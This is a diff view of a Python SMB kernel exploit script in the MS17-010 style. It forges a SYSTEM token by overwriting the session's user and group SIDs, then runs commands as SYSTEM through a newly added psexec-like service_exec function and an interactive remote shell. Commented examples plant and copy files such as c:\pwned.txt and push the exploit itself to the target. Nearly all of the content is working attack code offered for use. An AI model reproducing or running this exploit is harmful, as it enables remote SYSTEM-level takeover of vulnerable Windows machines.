|
||||
|
||||
# assume its space is enough for SID_SYSTEM and SID_ADMINISTRATORS (no check)
|
||||
# fake user and groups will be in same buffer of original one
|
||||
# so fake sids size must NOT be bigger than the original sids
|
||||
fakeUserAndGroupCount = min(userAndGroupCount, 4)
|
||||
fakeUserAndGroupsAddr = userAndGroupsAddr
|
||||
|
||||
|
||||
addr = fakeUserAndGroupsAddr + (fakeUserAndGroupCount * info['PTR_SIZE'] * 2)
|
||||
fakeUserAndGroups = ''
|
||||
fakeUserAndGroups = b''
|
||||
for sid, attr in zip(sids[:fakeUserAndGroupCount], attrs[:fakeUserAndGroupCount]):
|
||||
fakeUserAndGroups += pack('<'+info['PTR_FMT']*2, addr, attr)
|
||||
addr += len(sid)
|
||||
fakeUserAndGroups += ''.join(sids[:fakeUserAndGroupCount])
|
||||
|
||||
fakeUserAndGroups += b''.join(sids[:fakeUserAndGroupCount])
|
||||
|
||||
return fakeUserAndGroupCount, fakeUserAndGroups
|
||||
|
||||
def validate_token_offset(info, tokenData, userAndGroupCountOffset, userAndGroupsAddrOffset):
|
||||
@@ -774,7 +777,7 @@ def validate_token_offset(info, tokenData, userAndGroupCountOffset, userAndGroup
|
||||
# PSID_AND_ATTRIBUTES RestrictedSids; // Ro: sizeof(void*)
|
||||
# ...
|
||||
|
||||
userAndGroupCount, RestrictedSidCount = unpack_from('<II', tokenData, userAndGroupCountOffset)
|
||||
userAndGroupCount, RestrictedSidCount = unpack_from('<II', tokenData, userAndGroupCountOffset)
|
||||
userAndGroupsAddr, RestrictedSids = unpack_from('<'+info['PTR_FMT']*2, tokenData, userAndGroupsAddrOffset)
|
||||
|
||||
# RestrictedSidCount MUST be 0
|
||||
@@ -796,7 +799,7 @@ def validate_token_offset(info, tokenData, userAndGroupCountOffset, userAndGroup
|
||||
print('userAndGroupCount: 0x{:x}'.format(userAndGroupCount))
|
||||
print('userAndGroupsAddr: 0x{:x}'.format(userAndGroupsAddr))
|
||||
|
||||
return success, userAndGroupCount, userAndGroupsAddr
|
||||
return success, userAndGroupCount, userAndGroupsAddr
|
||||
|
||||
def get_group_data_from_token(info, tokenData):
|
||||
userAndGroupCountOffset = info['TOKEN_USER_GROUP_CNT_OFFSET']
|
||||
@@ -806,7 +809,7 @@ def get_group_data_from_token(info, tokenData):
|
||||
success, userAndGroupCount, userAndGroupsAddr = validate_token_offset(info, tokenData, userAndGroupCountOffset, userAndGroupsAddrOffset)
|
||||
|
||||
# hack to fix XP SP0 and SP1
|
||||
# I will avoid over-engineering a more elegant solution and leave this as a hack,
|
||||
# I will avoid over-engineering a more elegant solution and leave this as a hack,
|
||||
# since XP SP0 and SP1 is the only edge case in a LOT of testing!
|
||||
if not success and info['os'] == 'WINXP' and info['arch'] == 'x86':
|
||||
print('Attempting WINXP SP0/SP1 x86 TOKEN_USER_GROUP workaround')
|
||||
@@ -829,28 +832,100 @@ def smb_send_file(smbConn, localSrc, remoteDrive, remotePath):
|
||||
with open(localSrc, 'rb') as fp:
|
||||
smbConn.putFile(remoteDrive + '$', remotePath, fp.read)
|
||||
|
||||
# Note: using Windows Service to execute command same as how psexec works
|
||||
def service_exec(conn, cmd):
|
||||
import random
|
||||
import string
|
||||
from impacket.dcerpc.v5 import transport, srvs, scmr
|
||||
|
||||
service_name = ''.join([random.choice(string.ascii_letters) for i in range(4)])
|
||||
|
||||
# Setup up a DCE SMBTransport with the connection already in place
|
||||
rpcsvc = conn.get_dce_rpc('svcctl')
|
||||
rpcsvc.connect()
|
||||
rpcsvc.bind(scmr.MSRPC_UUID_SCMR)
|
||||
svcHandle = None
|
||||
|
||||
try:
|
||||
print("Opening SVCManager on %s....." % conn.get_remote_host())
|
||||
resp = scmr.hROpenSCManagerW(rpcsvc)
|
||||
svcHandle = resp['lpScHandle']
|
||||
|
||||
# First we try to open the service in case it exists. If it does, we remove it.
|
||||
try:
|
||||
resp = scmr.hROpenServiceW(rpcsvc, svcHandle, service_name+'\x00')
|
||||
except Exception as e:
|
||||
if str(e).find('ERROR_SERVICE_DOES_NOT_EXIST') == -1:
|
||||
raise e # Unexpected error
|
||||
else:
|
||||
# It exists, remove it
|
||||
scmr.hRDeleteService(rpcsvc, resp['lpServiceHandle'])
|
||||
scmr.hRCloseServiceHandle(rpcsvc, resp['lpServiceHandle'])
|
||||
|
||||
print('Creating service %s.....' % service_name)
|
||||
resp = scmr.hRCreateServiceW(rpcsvc, svcHandle, service_name + '\x00', service_name + '\x00', lpBinaryPathName=cmd + '\x00')
|
||||
serviceHandle = resp['lpServiceHandle']
|
||||
|
||||
if serviceHandle:
|
||||
# Start service
|
||||
try:
|
||||
print('Starting service %s.....' % service_name)
|
||||
scmr.hRStartServiceW(rpcsvc, serviceHandle)
|
||||
# is it really need to stop?
|
||||
# using command line always makes starting service fail because SetServiceStatus() does not get called
|
||||
#print('Stoping service %s.....' % service_name)
|
||||
#scmr.hRControlService(rpcsvc, serviceHandle, scmr.SERVICE_CONTROL_STOP)
|
||||
except Exception as e:
|
||||
print(str(e))
|
||||
|
||||
print('Removing service %s.....' % service_name)
|
||||
scmr.hRDeleteService(rpcsvc, serviceHandle)
|
||||
scmr.hRCloseServiceHandle(rpcsvc, serviceHandle)
|
||||
except Exception as e:
|
||||
print("ServiceExec Error on: %s" % conn.get_remote_host())
|
||||
print(str(e))
|
||||
finally:
|
||||
if svcHandle:
|
||||
scmr.hRCloseServiceHandle(rpcsvc, svcHandle)
|
||||
|
||||
rpcsvc.disconnect()
|
||||
|
||||
def do_system_mysmb_session(conn, pipe_name, share, mode):
|
||||
#stringbinding = 'ncacn_np:10.11.1.75[\pipe\svcctl]'
|
||||
|
||||
print("[*] have fun with the system smb session!")
|
||||
|
||||
# example of creating a remote shell on the remote host
|
||||
if mode == 'SERVER':
|
||||
serverThread = SMBServer()
|
||||
serverThread.daemon = True
|
||||
serverThread.start()
|
||||
service_name = ''.join([random.choice(string.letters) for _ in range(4)])
|
||||
service_name = ''.join([random.choice(string.ascii_letters) for _ in range(4)])
|
||||
shell = RemoteShell(share, conn, mode, service_name)
|
||||
shell.cmdloop()
|
||||
if mode == 'SERVER':
|
||||
serverThread.stop()
|
||||
|
||||
|
||||
# print('creating file c:\\pwned.txt on the target')
|
||||
# tid2 = smbConn.connectTree('C$')
|
||||
# fid2 = smbConn.createFile(tid2, '/pwned.txt')
|
||||
if mode == 'SERVER':
|
||||
serverThread.stop()
|
||||
|
||||
# example of creating a file on the remote host
|
||||
#smbConn = conn.get_smbconnection()
|
||||
#print('creating file c:\\pwned.txt on the target')
|
||||
#tid2 = smbConn.connectTree('C$')
|
||||
#fid2 = smbConn.createFile(tid2, '/pwned.txt')
|
||||
#smbConn.closeFile(tid2, fid2)
|
||||
#smbConn.disconnectTree(tid2)
|
||||
|
||||
|
||||
# example of running a command on the remote host
|
||||
#smbConn = conn.get_smbconnection()
|
||||
#service_exec(smbConn, r'cmd /c copy c:\pwned.txt c:\pwned_exec.txt')
|
||||
|
||||
# example of sending a file to the remote host
|
||||
#smbConn = conn.get_smbconnection()
|
||||
#print('Sending file to the the target...')
|
||||
#smb_send_file(smbConn, sys.argv[0], 'C', '/exploit.py')
|
||||
#print('done.')
|
||||
|
||||
# example of executing a file on the remote host
|
||||
#service_exec(conn, r'cmd /c copy c:\pwned.txt c:\pwned_exec.txt')
|
||||
# Note: there are many methods to get shell over SMB admin session
|
||||
# a simple method to get shell (but easily to be detected by AV) is
|
||||
@@ -858,7 +933,7 @@ def do_system_mysmb_session(conn, pipe_name, share, mode):
|
||||
|
||||
def exploit(target, port, username, password, pipe_name, share, mode):
|
||||
conn = MYSMB(target, port)
|
||||
|
||||
|
||||
# set NODELAY to make exploit much faster
|
||||
conn.get_socket().setsockopt(socket.IPPROTO_TCP, socket.TCP_NODELAY, 1)
|
||||
|
||||
@@ -894,7 +969,7 @@ def exploit(target, port, username, password, pipe_name, share, mode):
|
||||
else:
|
||||
print('This exploit does not support this target')
|
||||
sys.exit()
|
||||
|
||||
|
||||
if pipe_name is None:
|
||||
pipe_name = conn.find_named_pipe()
|
||||
if pipe_name is None:
|
||||
@@ -908,12 +983,12 @@ def exploit(target, port, username, password, pipe_name, share, mode):
|
||||
# Now, read_data() and write_data() can be used for arbitrary read and write.
|
||||
# ================================
|
||||
# Modify this SMB session to be SYSTEM
|
||||
# ================================
|
||||
# ================================
|
||||
fmt = info['PTR_FMT']
|
||||
|
||||
|
||||
print('[*] make this SMB session to be SYSTEM')
|
||||
# IsNullSession = 0, IsAdmin = 1
|
||||
write_data(conn, info, info['session']+info['SESSION_ISNULL_OFFSET'], '\x00\x01')
|
||||
write_data(conn, info, info['session']+info['SESSION_ISNULL_OFFSET'], b'\x00\x01')
|
||||
|
||||
# read session struct to get SecurityContext address
|
||||
sessionData = read_data(conn, info, info['session'], 0x100)
|
||||
@@ -923,7 +998,7 @@ def exploit(target, port, username, password, pipe_name, share, mode):
|
||||
# Windows 2003 and earlier uses only ImpersonateSecurityContext() (with PCtxtHandle struct) for impersonation
|
||||
# Modifying token seems to be difficult. But writing kernel shellcode for all old Windows versions is
|
||||
# much more difficult because data offset in ETHREAD/EPROCESS is different between service pack.
|
||||
|
||||
|
||||
# find the token and modify it
|
||||
if 'SECCTX_PCTXTHANDLE_OFFSET' in info:
|
||||
pctxtDataInfo = read_data(conn, info, secCtxAddr+info['SECCTX_PCTXTHANDLE_OFFSET'], 8)
|
||||
@@ -934,10 +1009,10 @@ def exploit(target, port, username, password, pipe_name, share, mode):
|
||||
tokenAddrInfo = read_data(conn, info, pctxtDataAddr+info['PCTXTHANDLE_TOKEN_OFFSET'], 8)
|
||||
tokenAddr = unpack_from('<'+fmt, tokenAddrInfo)[0]
|
||||
print('[+] current TOKEN addr: 0x{:x}'.format(tokenAddr))
|
||||
|
||||
|
||||
# copy Token data for restoration
|
||||
tokenData = read_data(conn, info, tokenAddr, 0x40*info['PTR_SIZE'])
|
||||
|
||||
|
||||
# parse necessary data out of token
|
||||
userAndGroupsAddr, userAndGroupCount, userAndGroupsAddrOffset, userAndGroupCountOffset = get_group_data_from_token(info, tokenData)
|
||||
|
||||
@@ -958,7 +1033,7 @@ def exploit(target, port, username, password, pipe_name, share, mode):
|
||||
|
||||
# ================================
|
||||
# do whatever we want as SYSTEM over this SMB connection
|
||||
# ================================
|
||||
# ================================
|
||||
try:
|
||||
# can use contextual info object
|
||||
do_system_mysmb_session(conn, pipe_name, share, mode)
|
||||
@@ -985,7 +1060,7 @@ def exploit(target, port, username, password, pipe_name, share, mode):
|
||||
|
||||
def main():
|
||||
parser = argparse.ArgumentParser()
|
||||
|
||||
|
||||
parser.add_argument('target', action='store',
|
||||
help='[[domain/]username[:password]@]<targetName or address>')
|
||||
parser.add_argument('-share', action='store', default = 'C$',
|
||||
@@ -996,7 +1071,7 @@ def main():
|
||||
help='Turn DEBUG output ON')
|
||||
|
||||
group = parser.add_argument_group('connection')
|
||||
group.add_argument('-target-ip', action='store', metavar="ip address",
|
||||
group.add_argument('-target-ip', action='store', metavar="ip address",
|
||||
help='IP Address of the target machine. If ommited it will use whatever was specified as target. This is useful when target is the NetBIOS name and you cannot resolve it')
|
||||
group.add_argument('-port', choices=['139', '445'], nargs='?', default='445', metavar="destination port",
|
||||
help='Destination port to connect to SMB Server')
|
||||
@@ -1034,4 +1109,4 @@ def main():
|
||||
exploit(options.target_ip, int(options.port), username, password, options.pipe, options.share, options.mode)
|
||||
print('Done')
|
||||
|
||||
main()
|
||||
main()
|
||||
|
||||
Reference in New Issue
Block a user